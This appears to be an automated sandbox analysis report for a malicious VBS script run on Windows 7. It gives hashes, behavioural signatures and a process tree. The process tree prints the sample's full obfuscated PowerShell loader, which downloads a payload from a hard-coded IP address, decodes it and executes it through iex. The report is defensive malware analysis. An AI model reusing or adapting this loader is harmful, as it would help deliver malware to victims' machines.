Analysis
-
max time kernel
142s -
max time network
146s -
platform
windows7_x64 -
resource
win7-20240508-en -
resource tags
arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system -
submitted
28-06-2024 02:34
Static task
static1
Behavioral task
behavioral1
Sample
c34b1264320651723222ea0785511f7f317dd295b38b0c0a23d0ac421a3c1e48.vbs
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
c34b1264320651723222ea0785511f7f317dd295b38b0c0a23d0ac421a3c1e48.vbs
Resource
win10v2004-20240508-en
General
-
Target
c34b1264320651723222ea0785511f7f317dd295b38b0c0a23d0ac421a3c1e48.vbs
-
Size
187KB
-
MD5
4948f25f03e8b1e397066530f79d85dd
-
SHA1
3d8328d506504a47eefaa9425b08a4070ef494e5
-
SHA256
c34b1264320651723222ea0785511f7f317dd295b38b0c0a23d0ac421a3c1e48
-
SHA512
d92a357cfdfc0810fc31cd4ad3f35ec62f4860338d626ab4b79e027431fe70556ecc330650b4848803a84077b5fd9b93fd58380bbc2adda8953b2322ea5c06d1
-
SSDEEP
3072:YmN8GGebKjeK3ubth+DCFxKCvBB/WnHPP1w/sLJFJ281QIHz1y8mNy7Ey1MgKTZ/:Y08GxbKja3+DCbKCvBB/WnHXC/sLJFJw
Malware Config
Signatures
-
Blocklisted process makes network request 6 IoCs
Processes:
powershell.exeflow pid process 6 2496 powershell.exe 7 2496 powershell.exe 8 2496 powershell.exe 9 2496 powershell.exe 10 2496 powershell.exe 11 2496 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 2496 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2496 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
WScript.exepowershell.exedescription pid process target process PID 2432 wrote to memory of 2496 2432 WScript.exe powershell.exe PID 2432 wrote to memory of 2496 2432 WScript.exe powershell.exe PID 2432 wrote to memory of 2496 2432 WScript.exe powershell.exe PID 2496 wrote to memory of 2532 2496 powershell.exe cmd.exe PID 2496 wrote to memory of 2532 2496 powershell.exe cmd.exe PID 2496 wrote to memory of 2532 2496 powershell.exe cmd.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c34b1264320651723222ea0785511f7f317dd295b38b0c0a23d0ac421a3c1e48.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Remmene251 heneicosane Galocherne Dermenchysis Jydepottens Dunkard bourgeoisiet Planner Madding Enerverings Roughhewing Unbegreased Omplantet Prophesiers Orthosymmetrical Handpick Orthocarpous Kedede121 Tiddlywink Strangling Carbonate Synomosy Odorizing Krigsfrelserne201 Remmene251 heneicosane Galocherne Dermenchysis Jydepottens Dunkard bourgeoisiet Planner Madding Enerverings Roughhewing Unbegreased Omplantet Prophesiers Orthosymmetrical Handpick Orthocarpous Kedede121 Tiddlywink Strangling Carbonate Synomosy Odorizing Krigsfrelserne201';$Fothering = 1;Function Fortovsrestauranten($Kinetoscope){$Manfreds=$Kinetoscope.Length-$Fothering;$Tilkbsbillet171='SUBSTRIN';$Tilkbsbillet171+='G';For( $skarnskngtens=1;$skarnskngtens -lt $Manfreds;$skarnskngtens+=2){$Remmene251+=$Kinetoscope.$Tilkbsbillet171.Invoke( $skarnskngtens, $Fothering);}$Remmene251;}function travlhedens($Fructed){ . ($Vaginate) ($Fructed);}$Skrabnser=Fortovsrestauranten 'KMGo,z iBlDlFa,/,5S.A0j ,(MWsiSn.d o w s BN T S1S0L.P0M;C IWNiNnF6S4T;P UxS6R4 ;, ArAvE: 1 2D1S..0D). GHe c,k.oK/ 2U0S1A0 0 1 0S1G ,Fdi,rVe,fMoUxP/T1s2T1 . 0G ';$Precise=Fortovsrestauranten ' U sce.r -CAMgHe nMtO ';$Jydepottens=Fortovsrestauranten ',h,t t.pA: /G/S1M0A3N. 1.9 5C..2D3 7V.I4P3S/.SLt tOtMeSpHi,l lBeHn s 3C4 .Up ccxL ';$Contemplators=Fortovsrestauranten 'w> ';$Vaginate=Fortovsrestauranten ' iFe.xU ';$Liguorian10='Planner';$Cleanout = Fortovsrestauranten 'HeScFh oC %,a pSpPd aTt a,%,\ KPlBi s,t.e r,pNa p iDr eAr,. NTo nU M&,&S eUc,h.oB tS ';travlhedens (Fortovsrestauranten 'F$ g.l,oFb aOlM:PB u fIfLiNsJt.eRrPnEe sP= ( c m.d. / c ,$GC lPeHaSnSoKuTtR) ');travlhedens (Fortovsrestauranten ' $LgSlSo,b.aOlS:VD efr,m e.n.cMh.y.s.iAsB= $GJ yUdseKpMoPtSt,e.nOsI.CsPp.lCiJt (e$ CLoAn.tNermrp.lUaUtCoFr s.). ');travlhedens (Fortovsrestauranten ',[YNSe t .MS e.r.v i c eTPwo i nBtpMLaCnDaigPe r ] :,:pSbe cku.r iDt yPP,r o t,ogcMoPl. F=D [BNseBtF.US.e couNrTiCtIy PSrAo.t o c oRlAT y,pFe,]P: : T lts 1O2R ');$Jydepottens=$Dermenchysis[0];$Velgreren201= (Fortovsrestauranten 'L$tg,lAoSbpaEl,:,N.o n pBa t h,oIl,o,gEiIcBa l.=.NBeAwa-FO b,j.eLc tM ,S yps,tBe mF. N e tP. WSeNbECOl iSeGn,t');$Velgreren201+=$Buffisternes[1];travlhedens ($Velgreren201);travlhedens (Fortovsrestauranten ' $ NTo nFpLaFt h oLl o g i.c aSlW. H esaVdUeErus,[M$BPPr e,cSi sEe ]S=T$ SAk r.a bSn,sUe rH ');$Adolpho=Fortovsrestauranten 'P$ NUoHnDp a t h o lCoDgMi cTaPl .pD o.wCnPl o.aBdKF i,lKe.( $ JCyTdKe p o.tStEe nSs,,B$.S.yDn.oBmFoEs y,) ';$Synomosy=$Buffisternes[0];travlhedens (Fortovsrestauranten ' $AgPl osbVa lM:fPSoUlFeScIa.t,=,( TAecsVtF-.PFaSt.h. C$ S.yHn o m oPs y,)A ');while (!$Polecat) {travlhedens (Fortovsrestauranten 'B$Rg,lIo bAa.l :Ps yMpRhEi lNiSpBh oeb iFaV=V$TtPr,u eG ') ;travlhedens $Adolpho;travlhedens (Fortovsrestauranten ' SHt,a.rFt -lS lBeSe,p C4B ');travlhedens (Fortovsrestauranten 'E$BgAlCo,b aRlr:BP,o l e.c,a,tB= (STkeFs tH-.PAa tIhP V$SS y.nBoSm.o sfy.), ') ;travlhedens (Fortovsrestauranten 'U$CgAlTo bSaBlD:UGsa.lUo,cThTe rSnSe = $ gHlTo bMaMlK:,h eSn.eAiBc o.sMaRn eR+ +P% $ DAe.rSm,e,n,c hByUs i.s .TcBo uSnAtY ') ;$Jydepottens=$Dermenchysis[$Galocherne];}$Osteopath199=345504;$Nonfealties=26095;travlhedens (Fortovsrestauranten 'O$Gg lSo.b.aRlE: M,a dMdTi nTgD =, ,GUe.t,-rCSo n t eDn tp $PS yAnUoUmGoSsFyB ');travlhedens (Fortovsrestauranten 'B$Lg lCoOb.aIl.:.CGoKaDmNiSa b,lSe N=B T[ SUy,s.t eUmC. CNoNn vEe.rFt.]t:S:IFPrUopm.B a s eH6 4 S,t rMi nFg.( $SMPaFdSd.i n gT)M ');travlhedens (Fortovsrestauranten ' $KgMlCo bMaFl,:.UFn.b.e gAr eFaCshe d P=P [,SOy sEt,eLm,.JTCe,xCtM.IEFnEc.o,d,i n g,] :O:.AASbCGIKI,.RG.e tOS,tLrKi.nEgP( $MC,oSa m.i aAb lEeM). ');travlhedens (Fortovsrestauranten '.$UgSl oCb aOlJ:USFi l iLcBoaiAdJe a =f$HUunMb.eEg r.e a.s e dP. s,u b.s.tFr iTn gP(S$,OSsGt e oIpSa.tBhD1.9u9 , $,NEoEn f,e,aVlbtDi e sU) ');travlhedens $Silicoidea;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Klisterpapirer.Non && echo t"3⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/2496-11-0x000007FEF580E000-0x000007FEF580F000-memory.dmpFilesize
4KB
-
memory/2496-13-0x000007FEF5550000-0x000007FEF5EED000-memory.dmpFilesize
9.6MB
-
memory/2496-12-0x000000001B500000-0x000000001B7E2000-memory.dmpFilesize
2.9MB
-
memory/2496-16-0x000007FEF5550000-0x000007FEF5EED000-memory.dmpFilesize
9.6MB
-
memory/2496-17-0x000007FEF5550000-0x000007FEF5EED000-memory.dmpFilesize
9.6MB
-
memory/2496-15-0x000007FEF5550000-0x000007FEF5EED000-memory.dmpFilesize
9.6MB
-
memory/2496-14-0x0000000001E80000-0x0000000001E88000-memory.dmpFilesize
32KB
-
memory/2496-18-0x000007FEF5550000-0x000007FEF5EED000-memory.dmpFilesize
9.6MB
-
memory/2496-19-0x000007FEF5550000-0x000007FEF5EED000-memory.dmpFilesize
9.6MB
-
memory/2496-20-0x000007FEF580E000-0x000007FEF580F000-memory.dmpFilesize
4KB